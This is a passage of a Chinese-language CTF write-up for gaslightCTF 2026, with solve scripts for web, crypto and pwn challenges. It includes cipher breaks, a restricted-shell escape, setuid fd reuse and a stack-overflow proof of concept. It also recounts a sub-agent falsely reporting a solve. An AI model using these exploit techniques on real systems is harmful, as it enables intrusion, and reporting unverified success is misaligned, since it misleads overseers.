-sk throughout. set -u HOST=\u0026#34;${1:?usage: solve.sh \u0026lt;host\u0026gt; \u0026lt;port\u0026gt;}\u0026#34; PORT=\u0026#34;${2:?usage: solve.sh \u0026lt;host\u0026gt; \u0026lt;port\u0026gt;}\u0026#34; BASE=\u0026#34;https://${HOST}:${PORT}\u0026#34; DIR=\u0026#34;$(cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; UA_NORMAL=\u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36\u0026#39; OUT=\u0026#34;${DIR}/recon_out\u0026#34; mkdir -p \u0026#34;${OUT}\u0026#34; echo \u0026#34;== Phase 1: robots.txt ==\u0026#34; curl -sk -m 8 -A \u0026#34;${UA_NORMAL}\u0026#34; \u0026#34;${BASE}/robots.txt\u0026#34; | tee \u0026#34;${OUT}/robots_body.txt\u0026#34; # Extract first Disallow path (the flag directory) DISP=$(grep -i \u0026#39;^[[:space:]]*Disallow\u0026#39; \u0026#34;${OUT}/robots_body.txt\u0026#34; | head -1 | sed \u0026#39;s/.*:[[:space:]]*//\u0026#39; | sed \u0026#39;s/[[:space:]]*$//\u0026#39;) [ -z \u0026#34;${DISP}\u0026#34; ] \u0026amp;\u0026amp; { echo \u0026#34;no Disallow found in robots.txt\u0026#34;; exit 1; } echo; echo \u0026#34;== Disallow path: ${DISP} ==\u0026#34; echo; echo \u0026#34;== Phase 2: list disallowed dir (autoindex) ==\u0026#34; curl -sk -m 8 -A \u0026#34;${UA_NORMAL}\u0026#34; \u0026#34;${BASE}${DISP}\u0026#34; | tee \u0026#34;${OUT}/dir_listing.txt\u0026#34; # Find flag file in the listing FLAGFILE=$(grep -oE \u0026#39;href=\u0026#34;[^\u0026#34;]+\u0026#34;\u0026#39; \u0026#34;${OUT}/dir_listing.txt\u0026#34; | sed \u0026#39;s/href=\u0026#34;//;s/\u0026#34;//\u0026#39; | grep -viE \u0026#39;^(\\.\\./|/)$\u0026#39; | head -1) [ -z \u0026#34;${FLAGFILE}\u0026#34; ] \u0026amp;\u0026amp; { echo \u0026#34;no file found in dir listing\u0026#34;; exit 1; } echo; echo \u0026#34;== Phase 3: fetch flag ==\u0026#34; curl -sk -m 8 -A \u0026#34;${UA_NORMAL}\u0026#34; -w \u0026#39;\\n(HTTP %{http_code})\\n\u0026#39; \u0026#34;${BASE}${DISP}${FLAGFILE}\u0026#34; echo \u0026#34;done. artifacts in ${OUT}\u0026#34; corridors（447）— 迷宫路径就是 flag 的二进制 Flag：gaslightCTF{fr33d0m_4t_l4st_55b364531ed4}\n黑盒题，The Stanley Parable 风格：每个\u0026quot;走廊\u0026quot;节点只有 l/ 和 r/ 两个去向， 页面 \u0026lt;title\u0026gt; 是 oracle——correct 在正确链上，wrong 是死路。关键解码是 意识到正确链的路径位串（l=0, r=1）按 8 位分组就是 flag 的 ASCII：前几个 字节解出 gaslightCTF{ 后就没有悬念了。脚本从根开始每层并行探测两个子节点、 跟随 correct 分支收集位串，229 步、328 bit、41 字符，走到标题为 freedom 的终点页，全程约 2 分钟。\n这题还有个编排插曲：子 agent 报告\u0026quot;Solves 80→81 判对\u0026rdquo;，实际是别人解出造成的 全局计数 +1；主 agent 核对列表无 ✓ 后重新提交才真正解出——此后判对只认表单 消失 / \u0026ldquo;You have solved this challenge!\u0026rdquo; / ✓ 标记。\n📜 corridors solve.py（72 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;gaslightCTF 2026 corridors — solve script. 迷宫每节点只有 l/ r/ 两个去向，\u0026lt;title\u0026gt;correct\u0026lt;/title\u0026gt; 表示在正确链上， wrong 是死路。正确链的路径 l=0, r=1 按 8 位分组就是 flag 的 ASCII 编码： 沿唯一正确分支走到终点页(freedom)，解码路径即得 flag。 用法: python3 solve.py \u0026lt;host:port\u0026gt; \u0026#34;\u0026#34;\u0026#34; import sys, re, ssl, http.client, threading, time hostport = sys.argv[1] if len(sys.argv) \u0026gt; 1 else sys.exit(\u0026#34;usage: python3 solve.py \u0026lt;host:port\u0026gt;\u0026#34;) host = hostport.split(\u0026#39;/\u0026#39;)[-1] ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE UA = {\u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0\u0026#39;} def make_conn(): return http.client.HTTPSConnection(host, timeout=15, context=ctx) def fetch(conn, path): try: conn.request(\u0026#39;GET\u0026#39;, path, headers=UA) r = conn.getresponse() return r.status, r.read(20000) except Exception: return None def get(conn, path): res = fetch(conn, path) if res is None: return fetch(make_conn(), path) or (0, b\u0026#39;\u0026#39;) return res def title(body): m = re.search(rb\u0026#39;\u0026lt;title\u0026gt;(.*?)\u0026lt;/title\u0026gt;\u0026#39;, body, re.S) return m.group(1).decode(\u0026#39;utf-8\u0026#39;, \u0026#39;replace\u0026#39;).strip().lower() if m else \u0026#39;\u0026#39; def probe(conn, path, out, key): out[key] = title(get(conn, path)[1]) path = \u0026#39;/\u0026#39; bits = [] t0 = time.time() conns = [make_conn(), make_conn()] step = 0 while True: step += 1 out = {} ths = [ threading.Thread(target=probe, args=(conns[0], path + \u0026#39;l/\u0026#39;, out, \u0026#39;l\u0026#39;)), threading.Thread(target=probe, args=(conns[1], path + \u0026#39;r/\u0026#39;, out, \u0026#39;r\u0026#39;)), ] for t in ths: t.start() for t in ths: t.join() correct = next((k for k, v in out.items() if v == \u0026#39;correct\u0026#39;), None) if correct is None: # 终点：非 correct/wrong 页 other = next((k for k, v in out.items() if v not in (\u0026#39;correct\u0026#39;, \u0026#39;wrong\u0026#39;)), None) if other: path += other + \u0026#39;/\u0026#39; bits.append(1 if other == \u0026#39;r\u0026#39; else 0) print(f\u0026#39;[maze end] title={out} steps={step} bits={len(bits)} t={time.time()-t0:.0f}s\u0026#39;) break path += correct + \u0026#39;/\u0026#39; bits.append(1 if correct == \u0026#39;r\u0026#39; else 0) if step % 50 == 0: print(f\u0026#39;[{step}] bits={len(bits)}\u0026#39;, flush=True) flag = \u0026#39;\u0026#39;.join(chr(int(\u0026#39;\u0026#39;.join(map(str, bits[i:i+8])), 2)) for i in range(0, len(bits) - 7, 8)) print(\u0026#39;FLAG:\u0026#39;, flag) assert flag.startswith(\u0026#39;gaslightCTF{\u0026#39;) and flag.endswith(\u0026#39;}\u0026#39;), \u0026#39;decode check failed\u0026#39; Crypto（9/9） affine-hill（100）— 差分消常数，矩阵求逆 Flag：gaslightCTF{kn0wn-pl41nt3xt-4tt4cks-4r3-sup3r-s1mpl3}\n4×4 Affine-Hill：c = p·K + b (mod 37)，字母表 37 字符。仿射密码的常数项 b 是最大的未知数，但同一明文的差分直接消掉它：c_i - c_1 = (p_i - p_1)·K， 4 组差分构造矩阵求逆解出 K，回代求 b。展平 20 字符就是 keyword。\n📜 affine-hill 最小 POC（6 行）——点击展开 1 2 3 4 5 6 import sympy A = sympy.Matrix([[p_i - p_1 for p_i in blocks(PT)][:4]]) # 4 组明文差分 E = sympy.Matrix([[c_i - c_1 for c_i in blocks(CT)][:4]]) # 对应密文差分 K = A.inv_mod(37) * E b = (blocks(CT)[0] - blocks(PT)[0] * K) % 37 print(K.tolist() + b.tolist()) # 展平 20 字符即 keyword Where the dream starts 1/2（100）— 凯撒、列移位 Flag：gaslightCTF{caesarreallylikedashiftofthree} / gaslightCTF{tr4nsp0s3-2-th3-k3y-0f-g-fl4t!}\n1 是凯撒移位 3，bytes(c - 3 for c in ct) 直接出明文。2 是 3 列列移位 （恒等置换），密文三段按行交错读回，丢尾部补位噪声。\n📜 dream-starts-1/2 最小 POC（6 行）——点击展开 1 2 3 4 5 6 # dream-starts-1 print(bytes((c - 3) % 128 for c in ct)) # 凯撒 -3 # dream-starts-2：把密文按 3 列均分，按列序读回 n = len(ct) // 3 print(\u0026#34;\u0026#34;.join(ct[i::n] for i in range(n))[:-2]) # 尾部补位 \u0026#34;eo\u0026#34; 丢弃 NEWJEANS IS FIVE（257）— 没 S 盒的 AES 是线性的 Flag：gaslightCTF{newj34ns-nv-d!es}\nAES 里唯一非线性部件 SubBytes 被换成恒等映射，整个算法退化成 GF(2) 仿射变换 E(x) = L(x) ⊕ c。手写密码实现先找\u0026quot;缺了哪一步\u0026quot;：S 盒没了整体就线性化。 用任意密钥本地加密 128 个单位向量构造 L，一组已知明文对求 c，解线性方程组 出 flag。\n📜 NEWJEANS IS FIVE 最小 POC（7 行）——点击展开 1 2 3 4 5 6 7 L = np.zeros((128, 128), dtype=np.uint8) for i in range(128): e = np.zeros(128, dtype=np.uint8); e[i] = 1 L[:, i] = enc(e) ^ enc(np.zeros(128, dtype=np.uint8)) c = enc(pt) ^ (L @ pt) \u0026amp; 1 # 常数项 flag = gf2_solve(L, enc_flag ^ c) # 高斯消元 print(bytes(flag).decode()) CompleteHTTP（390）— 弱素数逐 limb 分解，解 TLS Flag：gaslightCTF{gu3s5_y0u_n33d_l0ng_sl33v35_ev3n_in_5umm3r?}\n服务端是自写 TLS（.NET），反编译 bundle 的 IL 发现证书 RSA 模数每 32 位 limb 只有 1 个非零字节——弱结构素数。从 LSB 开始逐 limb 解字节乘法方程 （n_i = Σ p_j·q_{i-j}），约束搜索 DFS 秒级分解 N，比通用 ECM 快得多； RSA 解 premaster 后按 TLS 1.2 EMS 派生密钥，解开 pcap 里的应用数据。 （pcapng 不能过 tcpdump 转换，直接 Python 解块结构重组 TCP 流。）\n📜 CompleteHTTP 最小 POC（5 行）——点击展开 1 2 3 4 5 # 逐 limb：n_i = Σ p_j·q_{i-j}，p/q 每 limb 只有 1 个非零字节 # 非零字节位置 → 约束搜索（DFS），复杂度远低于 ECM for i in range(limbs): for bp, bq in product(nonzero_positions, repeat=2): if check_limb(i, bp, bq): pin(p, bp); pin(q, bq); break down-the-stream-1（364）— 8-bit LFSR：256 个 IV 爆破 Flag：gaslightCTF{d0nt-r3veal-y0ur-co3ff-v3ct0r}\n第二轮开场 crypto。8-bit LFSR 同步流密码，反馈多项式公开。两个侦察结论钉死 攻击面：next_register 每轮移位后 \u0026amp; 0xff 截断，状态空间只有 256；且 IV 若 \u0026gt; 0xff 会在 bytearray.append 处抛 ValueError——脚本根本跑不了，所以 IV 必在 [0, 255]。于是别急着推抽头，直接枚举 256 个 IV 各自重新生成密钥流解密， 用 gaslightCTF{ 前缀过滤，唯一命中 IV = 0x8e。小状态流密码先想穷举。\n📜 down-the-stream-1 solve.py（49 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;solve.py — down-the-stream-1 8-bit LFSR 流密码：next_register 每轮把寄存器左移 8 次并 \u0026amp; 0xff 截断， 状态空间仅 256。IV 若 \u0026gt; 0xff 会在 bytearray.append 处抛 ValueError， 故 IV 必落在 [0, 255]，直接暴力枚举并用已知明文前缀验证。 \u0026#34;\u0026#34;\u0026#34; CT_HEX = open( \u0026#34;output.txt\u0026#34; ).read().strip() CT = bytes.fromhex(CT_HEX) PREFIX = b\u0026#34;gaslightCTF{\u0026#34; def next_register(register: int) -\u0026gt; int: for _ in range(8): feedback = ( ((register \u0026gt;\u0026gt; 7) \u0026amp; 1) ^ ((register \u0026gt;\u0026gt; 5) \u0026amp; 1) ^ ((register \u0026gt;\u0026gt; 4) \u0026amp; 1) ^ ((register \u0026gt;\u0026gt; 3) \u0026amp; 1) ) register = ((register \u0026lt;\u0026lt; 1) | feedback) \u0026amp; 0xFF return register def decrypt(ct: bytes, iv: int) -\u0026gt; bytes: register = iv pt = bytearray() pt.append(ct[0] ^ register) for i in range(1, len(ct)): register = next_register(register) pt.append(ct[i] ^ register) return bytes(pt) def main() -\u0026gt; None: for iv in range(256): pt = decrypt(CT, iv) if pt.startswith(PREFIX): print(f\u0026#34;IV = {iv:#04x}\u0026#34;) print(f\u0026#34;FLAG = {pt.decode(errors=\u0026#39;replace\u0026#39;)}\u0026#34;) return print(\u0026#34;no candidate found\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() down-the-stream-2（388）— 16-bit LFSR：把抽头当未知数 Flag：gaslightCTF{st0p-rev3al1ng-4ll-the-pl4int3xts}\n续作把状态扩到 16 bit（2^16 爆破不动），并且抽掉了 generate_feedback—— 反馈函数本身是未知的布尔函数。转折点是一个观察：16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit（MSB 在前）。于是从 12 字节已知明文 \u0026ldquo;Hello, world\u0026rdquo; 还原出 6 个连续寄存器值后，不只是能差分出 96 个反馈位，还能 重建每段转移的全部中间状态——共 5×16 = 80 个 (16-bit 状态, 反馈位) 样本。 把\u0026quot;反馈是线性 tap-XOR\u0026quot;当假设、16 个抽头系数当未知数，80 个方程 GF(2) 高斯 消元，解出 taps = [6, 9, 11, 12, 13, 15] 且全部样本自洽——假设成立。flag 密文前 2 字节直接还原 IV = 0x8ee8，恰好是前作 8-bit IV 0x8e 的回文（系列 彩蛋），intercepted 密文回放双重验证。\n📜 down-the-stream-2 solve.py（135 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;solve.py — down-the-stream-2 (gaslightCTF2026, crypto) 16-bit LFSR 流密码：next_register 每轮把寄存器左移 16 次， feedback 位由未知的 generate_feedback(register) 生成（1 bit）。 对每 2 字节明文块，密文 = 明文 ^ 当前 16 位寄存器。 攻击链： 1. 已知明文 \u0026#34;Hello, world\u0026#34;（12 字节）与密文 XOR，还原出 6 个连续寄存器 值 r0..r5（r_{i+1} = next_register(r_i)）。 2. 每段 16 步转移中，反馈位序列 f_0..f_15 恰好等于 r_{i+1} 的 16 个 bit （MSB 在前），据此重建出 80 个 (状态, 反馈位) 样本及全部中间状态。 3. 假设 generate_feedback 为线性（抽头 bit XOR）：对 80 个样本在 GF(2) 上高斯消元解 16 个抽头系数。本题解出 taps = [6,9,11,12,13,15]， 全部 80 个样本自洽，故反馈函数为 XOR(bit6,bit9,bit11,bit12,bit13,bit15)。 4. flag 明文以 \u0026#34;gaslightCTF{\u0026#34; 开头，前 2 字节即可还原 IV（恰与 intercepted 相同，0x8ee8），随后用恢复的 LFSR 整体解密并校验前缀。 用法: python3 solve.py \u0026#34;\u0026#34;\u0026#34; import os HERE = os.path.dirname(os.path.abspath(__file__)) with open(os.path.join(HERE, \u0026#34;intercepted.txt\u0026#34;)) as f: PT = f.readline().strip().encode() CT_HEX = f.readline().strip() with open(os.path.join(HERE, \u0026#34;output.txt\u0026#34;)) as f: FLAG_CT = bytes.fromhex(f.read().strip()) CT = bytes.fromhex(CT_HEX) def recover_registers(pt: bytes, ct: bytes) -\u0026gt; list[int]: regs = [] for i in range(0, len(pt), 2): regs.append((ct[i] ^ pt[i]) \u0026lt;\u0026lt; 8 | (ct[i + 1] ^ pt[i + 1])) return regs def build_samples(regs: list[int]) -\u0026gt; list[tuple[int, int]]: \u0026#34;\u0026#34;\u0026#34;从相邻寄存器对重建 16 步转移的 (状态, 反馈位) 样本。 反馈位序列 f_0..f_15（f_0 最先进入）满足 r_{i+1} = sum f_k * 2^(15-k)，即 r_{i+1} 的 bit15..bit0 依次等于 f_0..f_15。 \u0026#34;\u0026#34;\u0026#34; samples = [] for a, b in zip(regs, regs[1:]): fb_bits = [(b \u0026gt;\u0026gt; (15 - k)) \u0026amp; 1 for k in range(16)] s = a for k in range(16): samples.append((s, fb_bits[k])) s = ((s \u0026lt;\u0026lt; 1) | fb_bits[k]) \u0026amp; 0xFFFF return samples def gauss_elim(A: list[list[int]], b: list[int]) -\u0026gt; list[int] | None: \u0026#34;\u0026#34;\u0026#34;GF(2) 高斯消元解 A x = b；无解返回 None。\u0026#34;\u0026#34;\u0026#34; n = len(A[0]) aug = [row[:] + [bv] for row, bv in zip(A, b)] pivots = [] r = 0 for c in range(n): piv = next((i for i in range(r, len(aug)) if aug[i][c]), None) if piv is None: continue aug[r], aug[piv] = aug[piv], aug[r] for i in range(len(aug)): if i != r and aug[i][c]: aug[i] = [x ^ y for x, y in zip(aug[i], aug[r])] pivots.append(c) r += 1 for row in aug[r:]: if all(v == 0 for v in row[:-1]) and row[-1]: return None x = [0] * n for i, c in enumerate(pivots): x[c] = aug[i][-1] return x def generate_feedback(register: int, taps: list[int]) -\u0026gt; int: b = 0 for j in taps: b ^= (register \u0026gt;\u0026gt; j) \u0026amp; 1 return b def next_register(register: int, taps: list[int]) -\u0026gt; int: for _ in range(16): register = ((register \u0026lt;\u0026lt; 1) | generate_feedback(register, taps)) \u0026amp; 0xFFFF return register def decrypt(ct: bytes, iv: int, taps: list[int]) -\u0026gt; bytes: out = bytearray() reg = iv out.append(ct[0] ^ (reg \u0026gt;\u0026gt; 8)) out.append(ct[1] ^ (reg \u0026amp; 0xFF)) for i in range(2, len(ct), 2): reg = next_register(reg, taps) out.append(ct[i] ^ (reg \u0026gt;\u0026gt; 8)) out.append(ct[i + 1] ^ (reg \u0026amp; 0xFF)) return bytes(out) def main() -\u0026gt; None: regs = recover_registers(PT, CT) samples = build_samples(regs) A = [[(s \u0026gt;\u0026gt; j) \u0026amp; 1 for j in range(16)] for s, _ in samples] b = [f for _, f in samples] x = gauss_elim(A, b) if x is None: raise SystemExit(\u0026#34;线性假设不成立：样本在 GF(2) 上无解\u0026#34;) taps = [j for j in range(16) if x[j]] assert all( (sum(((s \u0026gt;\u0026gt; j) \u0026amp; 1) * x[j] for j in range(16)) \u0026amp; 1) == f for s, f in samples ), \u0026#34;抽头解未通过全部样本自洽校验\u0026#34; print(f\u0026#34;taps = {taps}\u0026#34;) # 校验：用恢复的 LFSR 重放 intercepted 密文 assert decrypt(CT, regs[0], taps) == PT, \u0026#34;intercepted 回放失败\u0026#34; # flag 前缀还原 IV iv = (FLAG_CT[0] ^ ord(\u0026#34;g\u0026#34;)) \u0026lt;\u0026lt; 8 | (FLAG_CT[1] ^ ord(\u0026#34;a\u0026#34;)) pt = decrypt(FLAG_CT, iv, taps) print(f\u0026#34;IV = {iv:#06x}\u0026#34;) print(f\u0026#34;FLAG = {pt.decode(errors=\u0026#39;replace\u0026#39;)}\u0026#34;) assert pt.startswith(b\u0026#34;gaslightCTF{\u0026#34;) and pt.endswith(b\u0026#34;}\u0026#34;), \u0026#34;flag 校验失败\u0026#34; if __name__ == \u0026#34;__main__\u0026#34;: main() no-info（392）— 纯密文：退火先破句子，QWERTY 才是答案 Flag：gaslightCTF{0b5cur1ty-41nt-n0t-s3curity}\n唯一附件是一段 242 字节的小写英文句子密文，末行是 flag 样式的字母数字串—— 无源码、无密钥线索。词形模式侦察（vqlf'z 形如 ????'?、单字母词 O）确认 是单表替换族；先手动猜 tcqhgkqzogf=information 发现重复字母位矛盾，排除 手工路径。上模拟退火：Project Gutenberg 语料构建 quadgram + 词频模型，40 万轮 置换搜索，收敛出 95% 正确的明文（\u0026ldquo;our friend from paris examined his empty glass\u0026hellip;\u0026quot;），逐词对齐出完整映射——然后才发现映射的真面目是 QWERTY 键盘 替换（明文字母按字母序位置取键盘序同下标字母，q→a, w→b, e→c...）。 flag 行 0w5exk1zn-41fz-f0z-l3exkozn 数字保留、字母同一映射解出 \u0026ldquo;obscurity aint not security\u0026rdquo;——flag 内容本身就是安全格言彩蛋。\n📜 no-info solve.py（33 行，映射求解后的最终版）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;gaslightCTF 2026 - no-info (crypto) The ciphertext is a monoalphabetic substitution where each plaintext letter is replaced by the letter at the same index in the QWERTY keyboard order: plaintext alphabet: a b c d e f g h i j k l m n o p q r s t u v w x y z ciphertext (QWERTY): q w e r t y u i o p a s d f g h j k l z x c v b n m Digits/punctuation pass through unchanged. \u0026#34;\u0026#34;\u0026#34; import re import sys QWERTY = \u0026#34;qwertyuiopasdfghjklzxcvbnm\u0026#34; ALPHA = \u0026#34;abcdefghijklmnopqrstuvwxyz\u0026#34; ENC = str.maketrans(ALPHA, QWERTY) # plaintext -\u0026gt; ciphertext DEC = str.maketrans(QWERTY, ALPHA) # ciphertext -\u0026gt; plaintext def main(): ct = open(sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;output.txt\u0026#34;).read().strip() print(\u0026#34;=== decrypted text ===\u0026#34;) print(ct.lower().translate(DEC)) # the flag line: last line, digits kept, letters encrypted flag_line = [ln for ln in ct.splitlines() if ln.strip()][-1] inner = flag_line.lower().translate(DEC) print(\u0026#34;\\n=== decrypted flag line ===\u0026#34;) print(inner) flag = \u0026#34;gaslightCTF{\u0026#34; + inner + \u0026#34;}\u0026#34; print(\u0026#34;\\nFLAG:\u0026#34;, flag) return flag if __name__ == \u0026#34;__main__\u0026#34;: main() 📜 no-info solve_sub.py 退火核心（15 行节选，全文 79 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 T = 3.0 random.seed(42) alpha = list(letters_alpha) for it in range(400000): T = 3.0 * (0.9997 ** it) a, b = random.sample(alpha, 2) # swap plaintext values of a,b in perm pa, pb = perm[a], perm[b] perm[a], perm[b] = pb, pa ns = score(perm) if ns \u0026gt; best_score or random.random() \u0026lt; math.exp((ns - best_score)/T): if ns \u0026gt; best_score: best_score = ns; best_perm = dict(perm) else: perm[a], perm[b] = pa, pb Where the dream starts 3（404）— 位置递增的 Vigenère，先消位置项 Flag：gaslightCTF{theindecipherablecipher}\n同家族第三作：ct[i] = (pt[i] + key[i%m] + (i//m)) % 26，比标准 Vigenère 多了 一个位置递增项，题面点名 Friedman 与 Kasiski。Kasiski 三连字重复间隔 gcd=1， 长文本重复片段太稀疏，此路不通。转 IC：对每个候选 m 先减去已知项 i//m， 剩下的 d[i] = pt[i] + key[i%m] 是纯 Vigenère——这一步把\u0026quot;密钥周期\u0026quot;与\u0026quot;位置 递增\u0026quot;解耦。按余数类分组算 IC，m=5 峰值 0.0608（英文 IC≈0.065），其余 m 全在 0.034–0.048。m 定了之后每个 key 位对 26 个候选字母做卡方拟合（期望分布=英文 词频），逐位解出 d r e a m——与标题呼应。明文是 Kekulé 苯环结构之梦的著名 自述，结尾一句自述 flag：\u0026ldquo;the flag is the indecipherable cipher\u0026rdquo;（Vigenère 的 历史绰号 le chiffre indéchiffrable）。\n📜 where-the-dream-starts-3 solve.py（72 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Where the dream starts 3 — solve script. Cipher: ct[i] = (pt[i] + key[i % m] + (i // m)) % 26 (m and key unknown) Plan: 1. Guess m by Friedman\u0026#39;s index of coincidence on d[i] = ct[i] - (i//m) mod 26. Correct m makes each residue class a monoalphabetic substitution of English -\u0026gt; average IC ~0.065. Here m = 5 (IC 0.0608). 2. With m fixed, d[i] = pt[i] + key[i % m] is plain Vigenere; solve each key position by chi-squared fit against English letter frequencies. -\u0026gt; key = \u0026#34;dream\u0026#34; 3. Decrypt and read the plaintext; the flag statement is in the plaintext. \u0026#34;\u0026#34;\u0026#34; from string import ascii_lowercase from collections import Counter import math ct = open(\u0026#39;output.txt\u0026#39;).read().strip() n = len(ct) cvals = [ascii_lowercase.index(c) for c in ct] # --- step 1: find key length via Friedman IC --- def ic(vals): cnt = Counter(vals) L = len(vals) if L \u0026lt; 2: return 0.0 return sum(v * (v - 1) for v in cnt.values()) / (L * (L - 1)) best = (0, None) for m in range(1, 61): groups = [[] for _ in range(m)] for i in range(n): groups[i % m].append((cvals[i] - (i // m)) % 26) avg = sum(ic(g) for g in groups) / m if avg \u0026gt; best[0]: best = (avg, m) m = best[1] print(f\u0026#39;key length m = {m} (avg IC = {best[0]:.4f})\u0026#39;) # --- step 2: solve Vigenere key by chi-squared --- FREQ = {\u0026#39;e\u0026#39;: 12.7, \u0026#39;t\u0026#39;: 9.06, \u0026#39;a\u0026#39;: 8.17, \u0026#39;o\u0026#39;: 7.51, \u0026#39;i\u0026#39;: 6.97, \u0026#39;n\u0026#39;: 6.75, \u0026#39;s\u0026#39;: 6.33, \u0026#39;h\u0026#39;: 6.09, \u0026#39;r\u0026#39;: 5.99, \u0026#39;d\u0026#39;: 4.25, \u0026#39;l\u0026#39;: 4.03, \u0026#39;c\u0026#39;: 2.78, \u0026#39;u\u0026#39;: 2.76, \u0026#39;m\u0026#39;: 2.41, \u0026#39;w\u0026#39;: 2.36, \u0026#39;f\u0026#39;: 2.23, \u0026#39;g\u0026#39;: 2.02, \u0026#39;y\u0026#39;: 1.97, \u0026#39;p\u0026#39;: 1.93, \u0026#39;b\u0026#39;: 1.49, \u0026#39;v\u0026#39;: 0.98, \u0026#39;k\u0026#39;: 0.77, \u0026#39;j\u0026#39;: 0.15, \u0026#39;x\u0026#39;: 0.15, \u0026#39;q\u0026#39;: 0.10, \u0026#39;z\u0026#39;: 0.07} d = [(cvals[i] - (i // m)) % 26 for i in range(n)] def chi2(vals, k): dec = [(v - k) % 26 for v in vals] cnt = Counter(dec) L = len(vals) return sum((cnt.get(ascii_lowercase.index(ch), 0) - L * p / 100) ** 2 / (L * p / 100) for ch, p in FREQ.items()) key = [] for j in range(m): vals = [d[i] for i in range(j, n, m)] key.append(min(range(26), key=lambda k: chi2(vals, k))) keyword = \u0026#39;\u0026#39;.join(ascii_lowercase[k] for k in key) print(f\u0026#39;keyword = \u0026#34;{keyword}\u0026#34;\u0026#39;) # --- step 3: decrypt --- pt = \u0026#39;\u0026#39;.join(ascii_lowercase[(d[i] - key[i % m]) % 26] for i in range(n)) print(pt) # flag statement in the plaintext i = pt.find(\u0026#39;theflagis\u0026#39;) print(\u0026#39;\\nflag hint:\u0026#39;, pt[i:]) print(\u0026#39;FLAG = gaslightCTF{\u0026#39; + pt[i + len(\u0026#39;theflagis\u0026#39;):] + \u0026#39;}\u0026#39;) Pwn（5/5） ram-conservation（354）— glob 传参 + uudecode 写文件 Flag：gaslightCTF{b3w4r3_th3_r4mp0calys3_fc1a12d25fe6}\n受限 shell 只执行输入的第一个词（空格/TAB 都拆），还过滤危险命令。三条小 事实拼成链：$cmd 不带引号时 glob 在展开阶段生效，能把文件名当参数传； uudecode 的 begin 755 x 头 mode 可控，能从 stdin 写出可执行文件；bash 对 \u0026ldquo;有 x 位但不是二进制\u0026quot;的文件自动当脚本解释（ENOEXEC 回退）。执行本地文件要写 ./x——bash 的 PATH 查找不含 cwd，这是调试时踩过的坑。\n📜 ram-conservation 最小 POC（3 行）——点击展开 1 2 3 payload = uuencode(script, 0o755, \u0026#34;x\u0026#34;) # 把 bash 脚本 uu 编码 s.sendall(b\u0026#34;uudecode\\n\u0026#34;); s.sendall(payload) s.sendall(b\u0026#34;./x\\n\u0026#34;) # 执行（PATH 里没有 cwd，要 ./） badcat（447）— setuid cat 的 fd 复用 Flag：gaslightCTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461}\n/bin/badcat 是 setuid root 的 cat。对着\u0026quot;peek 硬编码读 8 字节\u0026quot;找了一下午 内存破坏无果，回退到\u0026quot;程序有哪些系统调用、谁改变了什么全局状态\u0026quot;的清单式排查 才看到真相是 fd 生命周期：slurp(0) 读完 stdin 会 close(0)；/flag 的 root open() 拿到最低空闲 fd=0 且从不 close，读 8 字节后偏移停在 8。 于是 - 关 0 → /flag 让 root open 抢到 fd 0（读 8 字节）→ 再 - 从偏移 8 把剩余 43 字节读出来。权限只在 open 时校验，已开的 fd 降权后照读。\n📜 badcat 最小 POC（3 行）——点击展开 1 2 3 badcat - /flag - \u0026lt; /dev/null # psst, here\u0026#39;s a sneak peek: gaslight # CTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461} good-enough（453）— gut genug：gets 溢出 + ret 对齐 Flag：gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_fb1ffbe73405}\n第二轮 pwn 开门题，\u0026ldquo;有源码 pwn 标准链\u0026rdquo;：泄漏 → 计算 → 单发 payload。main 第一条 printf(\u0026quot;[%p] du bist? \u0026quot;, main) 直接泄漏 PIE 基址；gets 读入 rbp-0x10 的 16 字节栈缓冲（无 canary），24 字节改写 saved RIP。两个坑： strncmp(buf, \u0026quot;gut genug\u0026quot;, 9) 校验 payload 前 9 字节——payload 开头必须 拼合法前缀（与题名 \u0026ldquo;good enough\u0026rdquo; 呼应）；直接跳 win() 时远程在 system 处静默断开——经典 movaps 栈对齐崩溃，payload 里先垫一个裸 ret gadget 对齐。 